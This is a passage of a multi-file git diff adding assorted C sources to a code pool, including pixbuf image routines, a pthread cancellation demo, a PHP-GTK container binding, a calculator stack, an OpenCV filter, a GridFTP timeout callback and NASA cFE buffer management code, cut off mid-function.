* pixbuf->pixelbytes + 3) & ~3; + pixbuf->pixels = e_malloc(pixbuf->rowbytes * pixbuf->h); + + return pixbuf; +} + +static euint32 pixbuf_read_pixel(GalPixbuf *pixbuf, eint x, eint y) +{ + euint8 *line = pixbuf->pixels + y * pixbuf->rowbytes; + + if (pixbuf->pixelbytes == 3) { + euint32 pixel; + ((euchar *)&pixel)[0] = (line + x * 3)[0]; + ((euchar *)&pixel)[1] = (line + x * 3)[1]; + ((euchar *)&pixel)[2] = (line + x * 3)[2]; + ((euchar *)&pixel)[3] = 0xff; + return pixel; + } + else if (pixbuf->pixelbytes == 4) { + euint32 pixel; + ((euchar *)&pixel)[0] = (line + x * 4)[0]; + ((euchar *)&pixel)[1] = (line + x * 4)[1]; + ((euchar *)&pixel)[2] = (line + x * 4)[2]; + ((euchar *)&pixel)[3] = (line + x * 4)[3]; + return pixel; + } + return ((euint32 *)line)[x]; +} + +euint8 pixbuf_read_pixel8(GalPixbuf *pixbuf, eint x, eint y) +{ + //euint32 t = pixbuf_read_pixel(pixbuf, x, y); + return 0; +} + +euint16 pixbuf_read_pixel16(GalPixbuf *pixbuf, eint x, eint y) +{ + euint32 t = pixbuf_read_pixel(pixbuf, x, y); + return ((t&0xf80000) >> 8) + ((t&0xfc00) >> 5) + ((t&0xf8) >> 3); +} + +euint32 pixbuf_read_pixel32(GalPixbuf *pixbuf, eint x, eint y) +{ + return pixbuf_read_pixel(pixbuf, x, y); +} + +void egal_pixbuf_composite(GalPixbuf *dst, + int dst_x, int dst_y, + int dst_w, int dst_h, + GalPixbuf *src, + int offset_x, int offset_y, + double scale_x, double scale_y, + PixopsInterpType interp_type) +{ + _pixops_composite(dst->pixels, + dst->w, dst->h, + dst->rowbytes, + dst->pixelbytes, + efalse, + src->pixels, + src->w, src->h, + src->rowbytes, + src->pixelbytes, + (src->pixelbytes == 4), + dst_x, dst_y, + dst_w, dst_h, + offset_x, offset_y, + scale_x, scale_y, + interp_type, + 255); +} + +void egal_pixbuf_fill(GalPixbuf *pixbuf, euint32 color) +{ + eint x, y; + eint w = pixbuf->w; + eint h = pixbuf->h; + + euint8 *p = pixbuf->pixels; + if (pixbuf->pixelbytes == 3) { + for (y = 0; y < h; y++) { + euint8 *t = p; + for (x = 0; x < w; x++, t += 3) { + t[0] = color & 0xf; + t[1] = (color & 0xf0) >> 8; + t[2] = (color & 0xf00) >> 16; + } + p += pixbuf->rowbytes; + } + } + else if (pixbuf->pixelbytes == 4) { + for (y = 0; y < h; y++) { + for (x = 0; x < w; x++) + ((euint32 *)p)[x] = color; + p += pixbuf->rowbytes; + } + } +} + +void egal_pixbuf_copy_area(GalPixbuf *dst, eint dx, eint dy, eint w, eint h, GalPixbuf *src, eint sx, eint sy) +{ + eint x, y; + euint32 *s = (euint32 *)(src->pixels + src->rowbytes * sy + sx * src->pixelbytes); + euint32 *d = (euint32 *)(dst->pixels + dst->rowbytes * dy + dx * dst->pixelbytes); + + for (y = 0; y < h; y++) { + for (x = 0; x < w; x++) + d[x] = s[x]; + d += dst->w; + s += src->w; + } +} + +GalPixbuf *egal_pixbuf_copy(GalPixbuf *pixbuf) +{ + GalPixbuf *new = egal_pixbuf_new(pixbuf->alpha, pixbuf->w, pixbuf->h); + egal_pixbuf_copy_area(new, 0, 0, pixbuf->w, pixbuf->h, pixbuf, 0, 0); + return new; +} + +GalPixbuf *egal_pixbuf_new_subpixbuf(GalPixbuf *pixbuf, eint xoffset, eint yoffset, eint width, eint height) +{ + GalPixbuf *new = egal_pixbuf_new(pixbuf->alpha, width, height); + egal_pixbuf_copy_area(new, xoffset, yoffset, width, height, pixbuf, 0, 0); + return new; +} diff --git a/pool/shard011/C/0142288_pthread_cancel.c b/pool/shard011/C/0142288_pthread_cancel.c new file mode 100644 index 0000000000000000000000000000000000000000..7dbf6cfffb2d20e33f63be69405ceb4381a3cb79 --- /dev/null +++ b/pool/shard011/C/0142288_pthread_cancel.c @@ -0,0 +1,89 @@ +/* + * ===================================================================================== + * + * Filename: pthread_cancel.c + * + * Description: + * + * Version: 1.0 + * Created: 09/16/2017 10:02:39 AM + * Revision: none + * Compiler: gcc + * + * Author: YOUR NAME (), fengbohello@foxmail.com + * Organization: + * + * ===================================================================================== + */ +#include +#include +#include +#include +#include + +#define handle_error_en(en, msg) \ + do { errno = en; perror(msg); exit(EXIT_FAILURE); } while (0) + + static void * +thread_func(void *ignored_argument) +{ + int s; + + /* Disable cancellation for a while, so that we don't + * immediately react to a cancellation request */ + + s = pthread_setcancelstate(PTHREAD_CANCEL_DISABLE, NULL); + if (s != 0) + handle_error_en(s, "pthread_setcancelstate"); + + printf("thread_func(): started; cancellation disabled\n"); + sleep(5); + printf("thread_func(): about to enable cancellation\n"); + + s = pthread_setcancelstate(PTHREAD_CANCEL_ENABLE, NULL); + if (s != 0) + handle_error_en(s, "pthread_setcancelstate"); + + /* sleep() is a cancellation point */ + + sleep(1000); /* Should get canceled while we sleep */ + + /* Should never get here */ + + printf("thread_func(): not canceled!\n"); + return NULL; +} + + int +main(void) +{ + pthread_t thr; + void *res; + int s; + + /* Start a thread and then send it a cancellation request */ + + s = pthread_create(&thr, NULL, &thread_func, NULL); + if (s != 0) + handle_error_en(s, "pthread_create"); + + sleep(2); /* Give thread a chance to get started */ + + printf("main(): sending cancellation request\n"); + s = pthread_cancel(thr); + if (s != 0) + handle_error_en(s, "pthread_cancel"); + + /* Join with thread to see what its exit status was */ + + s = pthread_join(thr, &res); + if (s != 0) + handle_error_en(s, "pthread_join"); + + if (res == PTHREAD_CANCELED) + printf("main(): thread was canceled\n"); + else + printf("main(): thread wasn't canceled (shouldn't happen!)\n"); + exit(EXIT_SUCCESS); +} + diff --git a/pool/shard011/C/0142289_gcontainer.c b/pool/shard011/C/0142289_gcontainer.c new file mode 100644 index 0000000000000000000000000000000000000000..772266e6ea88246c57ebe702150394ed6241ddfc --- /dev/null +++ b/pool/shard011/C/0142289_gcontainer.c @@ -0,0 +1,175 @@ +/* + +-----------------------------------------------------------+ + | Copyright (c) 2017 Collet Valentin | + +-----------------------------------------------------------+ + | This source file is subject to version the BDS license, | + | that is bundled with this package in the file LICENSE | + +-----------------------------------------------------------+ + | Author: Collet Valentin | + +-----------------------------------------------------------+ +*/ + + +#ifdef HAVE_CONFIG_H +#include "config.h" +#endif + + +#include "gcontainer.h" + + +static int le_gcontainer; +static zend_object_handlers gcontainer_object_handlers; +static zend_class_entry * gcontainer_class_entry_ce; + +/*==========================================================================*/ +/** + * Get the PGGI\Container class entry + * + * @return zend_class_entry * The class entry + */ +zend_class_entry * gcontainer_get_class_entry(){ + return gcontainer_class_entry_ce; +} + +/*==========================================================================*/ +/** + * Get the PGGI\Container object handlers + * + * @return zend_object_handlers * The object handlers + */ +zend_object_handlers * gcontainer_get_object_handlers(){ + return &gcontainer_object_handlers; +} + +/*==========================================================================*/ +/** + * Add a zval in our container + * Needs to be done in order to keep references of contained objects + * + * @param gwidget_ptr intern the data structure of the container + * @param zval * data the data to put in the container + */ +void gcontainer_add_data(gwidget_ptr intern, zval * data){ + zval * add_folder = zend_hash_index_find(Z_ARRVAL_P(&intern->data), GWIDGET_DATA_INDEX_GCONTAINER); + if(add_folder){ + zend_hash_next_index_insert(Z_ARRVAL_P(add_folder), data); + Z_TRY_ADDREF_P(data); + } +} + +/*****************/ +/* PHP FUNCTIONS */ +/*****************/ + + +/*==========================================================================*/ +/* + * The base class for Widgets that contains other widgets + */ + +PHP_METHOD(GContainer, add){ + ze_gwidget_object * data; + ze_gwidget_object * this; + zval * obj; + if (zend_parse_parameters_throw(ZEND_NUM_ARGS() TSRMLS_CC, "z", &obj) == FAILURE) + return; + data = Z_GWIDGET_P(obj); + this = Z_GWIDGET_P(getThis()); + gtk_container_add(GTK_CONTAINER(this->widget_ptr->intern), data->widget_ptr->intern); + gcontainer_add_data(this->widget_ptr, obj); + //RETURN_ZVAL(getThis(), 0, 0); +} + +void gcontainer_func_add(GtkWidget * container, gpointer data){ + zval args[2]; + gwidget_function(data, gsignal_gcontainer_add, args, 2); +} + +void gcontainer_on(long val,ze_gwidget_object * ze_obj, zval * function, zval * param){ + switch(val){ + case gsignal_gcontainer_add : + gwidget_adding_function(val, GSIGNAL_GCONTAINER_ADD, G_CALLBACK(gcontainer_func_add), ze_obj, function, param); + break; + default : + gwidget_on(val, ze_obj, function, param); + } +} + +PHP_METHOD(GContainer, on){ + zval * function, * this, *param = NULL; + long val; + ze_gwidget_object *ze_obj = NULL; + if (zend_parse_parameters_throw(ZEND_NUM_ARGS(), "lz|z", &val ,&function, ¶m) == FAILURE) + return; + this = getThis(); + ze_obj = Z_GWIDGET_P(this); + gcontainer_on(val, ze_obj, function, param); +} + +/*****************************/ +/* Object handling functions */ +/*****************************/ + +zval *gcontainer_read_property(zval *object, zval *member, int type, void **cache_slot, zval *rv){ + ze_gwidget_object * intern = Z_GWIDGET_P(object); + gwidget_ptr w = intern->widget_ptr; + convert_to_string(member); + char * member_val = Z_STRVAL_P(member); + if(!strcmp(member_val, GCONTAINER_BORDER_WIDTH)){ + ZVAL_LONG(rv, gtk_container_get_border_width(GTK_CONTAINER(w->intern))); + }else + return gwidget_read_property(object, member, type, cache_slot, rv); + return rv; +} + +HashTable *gcontainer_get_properties(zval *object){ + G_H_UPDATE_INIT(gwidget_get_properties(object)); + ze_gwidget_object * intern = Z_GWIDGET_P(object); + gwidget_ptr w = intern->widget_ptr; + G_H_UPDATE_LONG(GCONTAINER_BORDER_WIDTH, gtk_container_get_border_width(GTK_CONTAINER(w->intern))); + return G_H_UPDATE_RETURN; +} + +PHP_WRITE_PROP_HANDLER_TYPE gcontainer_write_property(zval *object, zval *member, zval *value, void **cache_slot){ + ze_gwidget_object * intern = Z_GWIDGET_P(object); + gwidget_ptr w = intern->widget_ptr; + convert_to_string(member); + char * member_val = Z_STRVAL_P(member); + if(!strcmp(member_val, GCONTAINER_BORDER_WIDTH)){ + convert_to_long(value); + gtk_container_set_border_width(GTK_CONTAINER(w->intern), Z_LVAL_P(value)); + } else { + PHP_WRITE_PROP_HANDLER_RETURN(gwidget_write_property(object, member, value, cache_slot)); + } + PHP_WRITE_PROP_HANDLER_RETURN(value); +} + + +static const zend_function_entry gcontainer_class_functions[] = { + PHP_ME(GContainer, add, arginfo_pggi_gwidget, ZEND_ACC_PUBLIC) + PHP_ME(GContainer, on , arginfo_pggi_on , ZEND_ACC_PUBLIC) + PHP_FE_END +}; + +/***********************************/ +/* GContainer class initialisation */ +/***********************************/ + + +void gcontainer_init(int module_number){ + zend_class_entry ce; + le_gcontainer = zend_register_list_destructors_ex(gwidget_free_resource, NULL, "PGGI\\GContainer", module_number); + + memcpy(&gcontainer_object_handlers, gwidget_get_object_handlers(), sizeof(zend_object_handlers)); + gcontainer_object_handlers.read_property = gcontainer_read_property; + gcontainer_object_handlers.get_properties = gcontainer_get_properties; + gcontainer_object_handlers.write_property = gcontainer_write_property; + INIT_CLASS_ENTRY(ce, "PGGI\\GContainer", gcontainer_class_functions); + ce.create_object = gwidget_object_new; + gcontainer_class_entry_ce = zend_register_internal_class_ex(&ce, gwidget_get_class_entry()); + gcontainer_class_entry_ce->ce_flags |= ZEND_ACC_ABSTRACT; + DECLARE_CLASS_PROPERTY(gcontainer_class_entry_ce, GCONTAINER_BORDER_WIDTH); +} + + diff --git a/pool/shard011/C/0142290_stack.c b/pool/shard011/C/0142290_stack.c new file mode 100644 index 0000000000000000000000000000000000000000..e7a3c7f0e73b0523b18c5b890ecea2370a8212ac --- /dev/null +++ b/pool/shard011/C/0142290_stack.c @@ -0,0 +1,106 @@ +/* + +Author: James Nuttall (james@cromulence.co) + +Copyright (c) 2014 Cromulence LLC + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in +all copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +THE SOFTWARE. + +*/ + +#include "math_lib.h" +#include "stack.h" +#include "stdlib.h" +#include "prng.h" + +// Globals +Stack_i num_stack; +int curr_num_stack; +Stack_c op_stack; +int curr_op_stack; + + +int push_num(int num) +{ + debug_print("PUSH_NUM: @d\n", num); + if (curr_num_stack >= MAX_NUM_COUNT) + return FAIL; + num_stack.stak[++curr_num_stack] = num; + return SUCCESS; +} + +// returns SUCCESS or FAIL +// pass in number which will contain the requested number +// removes number from num_stack +int pop_num(int *num) +{ + debug_print("POP_NUM: @d\n", num_stack.stak[curr_num_stack]); + if (curr_num_stack <= -1) + { + // error, empty + debug_print("POP_NUM failed\n", 0); + _terminate(0); + return FAIL; + + } + *num = num_stack.stak[curr_num_stack--]; + return SUCCESS; +} + +// returns SUCCESS or FAIL +// pass in char pointer which will contain the requested operator +// does NOT remove operator from op_stack +int peek_op(char *op) +{ + if (curr_op_stack <= -1) + { + // error, empty + return FAIL; + } + *op = op_stack.stak[curr_op_stack]; + return SUCCESS; +} + +// returns SUCCESS or FAIL +// pushes op onto the op_stack +int push_op(char op) +{ + debug_print("PUSH_OP: @c\n", op); + if (curr_op_stack >= MAX_NUM_COUNT) + return FAIL; + op_stack.stak[++curr_op_stack] = op; + return SUCCESS; +} + +// returns SUCCESS or FAIL +// pass in char pointer which will contain the requested operator +// removes operator from op_stack +int pop_op(char *op) +{ + debug_print("POP_OP: @c\n", op_stack.stak[curr_op_stack]); + if (curr_op_stack <= -1) + { + // error, empty + debug_print("POP_OP failed\n", 0); + _terminate(0); + return FAIL; + } + *op = op_stack.stak[curr_op_stack--]; + return SUCCESS; +} \ No newline at end of file diff --git a/pool/shard011/C/0142291_trDoG.c b/pool/shard011/C/0142291_trDoG.c new file mode 100644 index 0000000000000000000000000000000000000000..91ea2b49420aff0244cd4dacd89dadfe615a4352 --- /dev/null +++ b/pool/shard011/C/0142291_trDoG.c @@ -0,0 +1,73 @@ +/* + * Copyright (C) 2012-2015, Juan Manuel Barrios + * All rights reserved. + * + * This file is part of P-VCD. http://p-vcd.org/ + * P-VCD is made available under the terms of the BSD 2-Clause License. + */ + +#include "tr.h" + +#ifndef NO_OPENCV +struct Proceso_DOG { + double variance1, variance2, threshold; + IplImage *imgGray, *imgBuff1, *imgBuff2, *imgDiff; +}; + +void tra_config_dog(const char *trCode, const char *trParameters, + void **out_state) { + struct Proceso_DOG *es = MY_MALLOC(1, struct Proceso_DOG); + MyTokenizer *tk = my_tokenizer_new(trParameters, '_'); + es->variance1 = my_tokenizer_nextDouble(tk); + es->variance2 = my_tokenizer_nextDouble(tk); + if (my_tokenizer_hasNext(tk)) + es->threshold = my_tokenizer_nextDouble(tk); + my_tokenizer_releaseValidateEnd(tk); + *out_state = es; +} + +IplImage *tra_transformar_dog(IplImage *imagen, int64_t numFrame, void* estado) { + struct Proceso_DOG *es = estado; + if (es->imgGray == NULL) { + es->imgGray = cvCreateImage(cvGetSize(imagen), IPL_DEPTH_8U, 1); + es->imgBuff1 = cvCreateImage(cvGetSize(imagen), IPL_DEPTH_8U, 1); + es->imgBuff2 = cvCreateImage(cvGetSize(imagen), IPL_DEPTH_8U, 1); + es->imgDiff = cvCreateImage(cvGetSize(imagen), IPL_DEPTH_16S, 1); + } + if (imagen->nChannels > 1) { + cvCvtColor(imagen, es->imgGray, CV_BGR2GRAY); + } else { + cvCopy(imagen, es->imgGray, NULL); + } + cvSmooth(es->imgGray, es->imgBuff1, CV_GAUSSIAN, es->variance1, + es->variance1, 0, 0); + cvSmooth(es->imgGray, es->imgBuff2, CV_GAUSSIAN, es->variance2, + es->variance2, 0, 0); + cvSub(es->imgBuff1, es->imgBuff2, es->imgDiff, NULL); + if (es->threshold > 0) { + cvThreshold(es->imgDiff, es->imgGray, es->threshold, 255, + CV_THRESH_BINARY); + } else { + //cvConvertScaleAbs(es->imgDiff, es->imgGray, 1, 0); + double max_val = 0; + cvMinMaxLoc(es->imgDiff, NULL, &max_val, NULL, NULL, NULL); + cvConvertScaleAbs(es->imgDiff, es->imgGray, + (max_val == 0) ? 0 : 255.0 / max_val, 0); + } + return es->imgGray; +} +void tra_release_dog(void *estado) { + struct Proceso_DOG *es = estado; + my_image_release(es->imgGray); + my_image_release(es->imgBuff1); + my_image_release(es->imgBuff2); + my_image_release(es->imgDiff); + MY_FREE(es); +} +void tra_reg_dog() { + Transform_Def *def = newTransformDef("DOG", "var1_var2_threshold"); + def->func_new = tra_config_dog; + def->func_transform_frame = tra_transformar_dog; + def->func_release = tra_release_dog; +} +#endif diff --git a/pool/shard011/C/0142292_4.02.c b/pool/shard011/C/0142292_4.02.c new file mode 100644 index 0000000000000000000000000000000000000000..79f6ba6c518f491fba4d2a9d8e0972b6a03b694a --- /dev/null +++ b/pool/shard011/C/0142292_4.02.c @@ -0,0 +1,23 @@ +#include +#include +double fact(int n){ + double fact=1; + int i; + for (i = 1; i <=n ; i++) { + fact=fact*i; + } + return fact; +} +int main(void){ + int x,n,i=1; + double t,sum=0; + printf("Enter x,n: "); + scanf("%d%d",&x,&n); + do{ + t=pow(x,i)/fact(i); + sum=sum+t; + i++; + }while (t>pow(0.1,n)); + printf("sum=%lf",sum); + return 0; +} \ No newline at end of file diff --git a/pool/shard011/C/0142293_progress_idle_timeout.c b/pool/shard011/C/0142293_progress_idle_timeout.c new file mode 100644 index 0000000000000000000000000000000000000000..8f5334905bb1295f6066291451ad887bb414b70e --- /dev/null +++ b/pool/shard011/C/0142293_progress_idle_timeout.c @@ -0,0 +1,62 @@ +/* + * Copyright 1999-2016 University of Chicago + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +#ifndef GLOBUS_DONT_DOCUMENT_INTERNAL +/** + * @file progress_idle_timeout.c GridFTP DSI REST Idle Timeout + */ +#endif + +#include "globus_i_dsi_rest.h" + +static +globus_result_t +globus_l_dsi_rest_progress_idle_timeout( + void *progress_callback_arg, + uint64_t total_read, + uint64_t amt_read, + uint64_t total_written, + uint64_t amt_written) +{ + globus_i_dsi_rest_idle_arg_t *idle_arg = progress_callback_arg; + globus_abstime_t now; + globus_reltime_t idle; + uintptr_t idle_msec; + + GlobusTimeAbstimeGetCurrent(now); + if (amt_read != idle_arg->last_amt_read) + { + idle_arg->last_amt_read = amt_read; + idle_arg->last_activity = now; + } + if (amt_written != idle_arg->last_amt_written) + { + idle_arg->last_amt_written = amt_written; + idle_arg->last_activity = now; + } + GlobusTimeAbstimeDiff(idle, now, idle_arg->last_activity); + + idle_msec = idle.tv_sec * 1000 + idle.tv_usec / 1000; + if (idle_msec > idle_arg->idle_timeout) + { + return GlobusDsiRestErrorTimeOut(); + } + return GLOBUS_SUCCESS; +} +/* globus_l_dsi_rest_progess_idle_timeout() */ + +globus_dsi_rest_progress_t const globus_dsi_rest_progress_idle_timeout + = globus_l_dsi_rest_progress_idle_timeout; diff --git a/pool/shard011/C/0142294_struct-complex-2_x.c b/pool/shard011/C/0142294_struct-complex-2_x.c new file mode 100644 index 0000000000000000000000000000000000000000..f3041186ba6500e06c9997d35b2184a8df714af1 --- /dev/null +++ b/pool/shard011/C/0142294_struct-complex-2_x.c @@ -0,0 +1,29 @@ +/* { dg-options "-O -Wno-psabi" { target { i?86-*-* x86_64-*-* } } } */ +#ifdef __x86_64__ + +#include "struct-complex-2.h" + +struct st st1; +struct stc st2; + +extern void foo (); +extern void bar (); + +int +struct_complex_2_x () +{ + st1.s1 = 1; + __real__ st1.x = 2; + __imag__ st1.x = 4; + st2.s1 = 1; + st2.x.r = 2; + st2.x.i = 4; + foo (st1); + foo (st2); + bar (st1); + bar (st2); + return 0; +} +#else +int dummy_x; +#endif diff --git a/pool/shard011/C/0142295_cfe_sb_buf.c b/pool/shard011/C/0142295_cfe_sb_buf.c new file mode 100644 index 0000000000000000000000000000000000000000..584dd212e8a45a0a9912e554d22b18710d134b5d --- /dev/null +++ b/pool/shard011/C/0142295_cfe_sb_buf.c @@ -0,0 +1,318 @@ +/****************************************************************************** +** File: cfe_sb_buf.c +** +** Copyright (c) 2004-2012, United States government as represented by the +** administrator of the National Aeronautics Space Administration. +** All rights reserved. This software(cFE) was created at NASA's Goddard +** Space Flight Center pursuant to government contracts. +** +** This is governed by the NASA Open Source Agreement and may be used, +** distributed and modified only pursuant to the terms of that agreement. +** +** +** +** Purpose: +** This file contains the source code for the SB memory management +** functions. +** +** Author: R.McGraw/SSI +** +** +** $Log: cfe_sb_buf.c $ +** Revision 1.17 2014/04/24 09:57:05GMT-05:00 rmcgraw +** DCR19487:1 - Remove size argument in CFE_SB_GetBufferFromCaller +** Revision 1.16 2012/01/13 12:15:12EST acudmore +** Changed license text to reflect open source +** Revision 1.15 2011/12/20 10:26:04EST rmcgraw +** DCR15187:1 Removed function CFE_SB_DecrMsgLimCnt +** Revision 1.14 2011/09/09 14:25:44EDT aschoeni +** Added fix for ZeroCopy issues +** Revision 1.13 2010/10/25 16:02:56EDT aschoeni +** Allocation for sb message buffer now includes descriptor instead of separate allocation for descriptor +** Revision 1.12 2009/07/29 12:02:50EDT aschoeni +** Updated GetBufferFromPool to deallocate the first buffer if the second buffer creation fails +** Revision 1.11 2009/07/29 11:51:52EDT aschoeni +** Updated GetBufferFromCaller to deallocate the message buffer if the descriptor buffer fails to be created (otherwise it is never reclaimed) +** Revision 1.10 2009/07/24 18:23:57EDT aschoeni +** Added Zero Copy Mode +** Revision 1.9 2009/07/20 14:09:30EDT aschoeni +** Made GetAppTskName reentrant +** Revision 1.8 2009/06/26 17:02:04EDT aschoeni +** Updated SB to use __func__ instead of __FILE__ for lock and unlock errors +** Revision 1.7 2009/04/08 13:25:26EDT rmcgraw +** DCR5802:4 Change data type int to int32 +** Revision 1.6 2009/02/11 14:19:50EST rmcgraw +** DCR6269:1 Removed the 'Buf' in mem pool names +** Revision 1.5 2009/02/06 11:29:04EST rmcgraw +** DCR5801:2 General Cleanup +** Revision 1.4 2009/02/03 11:06:58EST rmcgraw +** DCR5801:2 Changed destination desciptors from array based to linked list +** Revision 1.3 2009/01/30 11:13:08EST rmcgraw +** DCR5801:6 Moved semaphore unlock to above GetAppid call in DecrMsgLimCnt +** Revision 1.2 2009/01/23 15:00:16EST rmcgraw +** DCR5802:1 Removed redundant events in cfe_sb_buf.c +** Revision 1.1 2008/04/17 08:05:31EDT ruperera +** Initial revision +** Member added to cfe project on tlserver3 +** Revision 1.34 2007/09/19 17:03:57EDT rjmcgraw +** Fixed compiler error +** Revision 1.33 2007/09/19 14:39:25EDT rjmcgraw +** DCR4421 Removed use count error processing +** Revision 1.32 2007/08/17 15:59:51EDT rjmcgraw +** Changes to free semaphore before calling SendEventWithAppId +** Revision 1.31 2007/08/07 12:52:40EDT dlkobe +** Modified CFE_ES_GetPoolBuf API's first parameter to be of type uint32** +** Revision 1.30 2007/07/12 17:05:05EDT rjmcgraw +** DCR4680:1 Replaced calls to CFE_SB_LogEvent with SendEventWithAppid +** Revision 1.29 2007/03/27 08:57:03EST rjmcgraw +** Added #include cfe_sb_events.h +** Revision 1.28 2007/03/22 13:05:45EST rjmcgraw +** DCR246:Replace SB stat Descriptors in use to Peak Buffers In Use +** Revision 1.27 2006/10/16 14:30:43EDT rjmcgraw +** Minor changes to comply with MISRA standard +** Revision 1.26 2006/09/11 16:38:03EDT rjmcgraw +** Added condition to update statistics only if 'put' is successful +** Revision 1.25 2006/09/01 11:07:26EDT kkaudra +** IV&V:Removed cfe_evs.h +** +******************************************************************************/ + +/* +** Include Files +*/ + +#include "cfe_sb_priv.h" +#include "cfe_sb_events.h" +#include "osapi.h" +#include "cfe_es.h" +#include "cfe_error.h" + +/* +** External Declarations +*/ +extern cfe_sb_t CFE_SB; + + +/****************************************************************************** +** Function: CFE_SB_GetBufferFromPool() +** +** Purpose: +** Request a buffer from the SB buffer pool. The SB buffer pool is a +** pre-allocated block of memory of size CFE_SB_BUF_MEMORY_BYTES. It is used +** by the SB to dynamically allocate memory to hold the message and a buffer +** descriptor associated with the message during the sending of a message. +** +** Arguments: +** msgId : Message ID +** size : Size of the buffer in bytes. +** +** Return: +** Pointer to the buffer descriptor for the new buffer, or NULL if the buffer +** could not be allocated. +*/ + +CFE_SB_BufferD_t * CFE_SB_GetBufferFromPool(uint16 MsgId, uint16 Size) { + int32 stat1; + uint8 *address = NULL; + CFE_SB_BufferD_t *bd = NULL; + + /* Allocate a new buffer descriptor from the SB memory pool.*/ + stat1 = CFE_ES_GetPoolBuf((uint32 **)&bd, CFE_SB.Mem.PoolHdl, Size + sizeof(CFE_SB_BufferD_t)); + if(stat1 < 0){ + return NULL; + } + + /* increment the number of buffers in use and adjust the high water mark if needed */ + CFE_SB.StatTlmMsg.SBBuffersInUse++; + if(CFE_SB.StatTlmMsg.SBBuffersInUse > CFE_SB.StatTlmMsg.PeakSBBuffersInUse){ + CFE_SB.StatTlmMsg.PeakSBBuffersInUse = CFE_SB.StatTlmMsg.SBBuffersInUse; + }/* end if */ + + /* Add the size of the actual buffer to the memory-in-use ctr and */ + /* adjust the high water mark if needed */ + CFE_SB.StatTlmMsg.MemInUse+=stat1; + if(CFE_SB.StatTlmMsg.MemInUse > CFE_SB.StatTlmMsg.PeakMemInUse){ + CFE_SB.StatTlmMsg.PeakMemInUse = CFE_SB.StatTlmMsg.MemInUse; + }/* end if */ + + /* first set ptr to actual msg buffer the same as ptr to descriptor */ + address = (uint8 *)bd; + + /* increment actual msg buffer ptr beyond the descriptor */ + address += sizeof(CFE_SB_BufferD_t); + + /* Initialize the buffer descriptor structure. */ + bd->MsgId = MsgId; + bd->UseCount = 1; + bd->Size = Size; + bd->Buffer = (void *)address; + + return bd; + +}/* CFE_SB_GetBufferFromPool */ + + +/****************************************************************************** +** Function: CFE_SB_GetBufferFromCaller() +** +** Purpose: +** Request a buffer from the SB buffer pool to use as a buffer descriptor +** for and already created SB buffer. +** +** Arguments: +** msgId : Message ID +** Address : Address of the buffer +** +** Return: +** Pointer to the buffer descriptor for the suplied buffer, or NULL if the +** descriptor could not be allocated. +*/ + +CFE_SB_BufferD_t * CFE_SB_GetBufferFromCaller(uint16 MsgId, + void *Address) { + CFE_SB_BufferD_t *bd = (CFE_SB_BufferD_t *)(((uint8 *)Address) - sizeof(CFE_SB_BufferD_t)); + + /* Initialize the MsgId in the buffer descriptor (the rest has already been initialized in this case). */ + bd->MsgId = MsgId; + + return bd; + +}/* CFE_SB_GetBufferFromCaller */ + + +/****************************************************************************** +** Function: CFE_SB_ReturnBufferToPool() +** +** Purpose: +** This function will return two blocks of memory back to the memory pool. +** One block is the memory used to store the actual message, the other block +** was used to store the buffer descriptor for the message. +** +** Arguments: +** bd : Pointer to the buffer descriptor. +** +** Return: +** SB status +*/ +int32 CFE_SB_ReturnBufferToPool(CFE_SB_BufferD_t *bd){ + int32 Stat; + + /* give the buf descriptor back to the buf descriptor pool */ + Stat = CFE_ES_PutPoolBuf(CFE_SB.Mem.PoolHdl, (uint32 *)bd); + if(Stat > 0){ + CFE_SB.StatTlmMsg.SBBuffersInUse--; + /* Substract the size of a buffer descriptor from the Memory in use ctr */ + CFE_SB.StatTlmMsg.MemInUse-=Stat; + }/* end if */ + + return CFE_SUCCESS; + +}/* end CFE_SB_ReturnBufferToPool */ + + + +/****************************************************************************** +** Function: CFE_SB_DecrBufUseCnt() +** +** Purpose: +** This function will decrement the UseCount of a particular buffer. If the +** the UseCount is decremented to zero, it will return the buffer to the +** memory pool. +** +** Note: +** UseCount is a variable in the CFE_SB_BufferD_t and is used only to +** determine when a buffer may be returned to the memory pool. +** +** Arguments: +** bd : Pointer to the buffer descriptor. +** +** Return: +** CFE_SUCCESS for normal operation. +*/ +int32 CFE_SB_DecrBufUseCnt(CFE_SB_BufferD_t *bd){ + + /* range check the UseCount variable */ + if(bd->UseCount > 0){ + + bd->UseCount--; + + if (bd->UseCount == 0) { + CFE_SB_ReturnBufferToPool(bd); + }/* end if */ + + } + + return CFE_SUCCESS; + +}/* end CFE_SB_DecrBufUseCnt */ + + + +/****************************************************************************** +** Function: CFE_SB_GetDestinationBlk() +** +** Purpose: +** This function gets a destination descriptor from the SB memory pool. +** +** Arguments: +** None +** +** Return: +** Pointer to the destination descriptor +*/ +CFE_SB_DestinationD_t *CFE_SB_GetDestinationBlk(void) +{ + int32 Stat; + CFE_SB_DestinationD_t *Dest = NULL; + + /* Allocate a new destination descriptor from the SB memory pool.*/ + Stat = CFE_ES_GetPoolBuf((uint32 **)&Dest, CFE_SB.Mem.PoolHdl, sizeof(CFE_SB_DestinationD_t)); + if(Stat < 0){ + return NULL; + } + + /* Add the size of a destination descriptor to the memory-in-use ctr and */ + /* adjust the high water mark if needed */ + CFE_SB.StatTlmMsg.MemInUse+=Stat; + if(CFE_SB.StatTlmMsg.MemInUse > 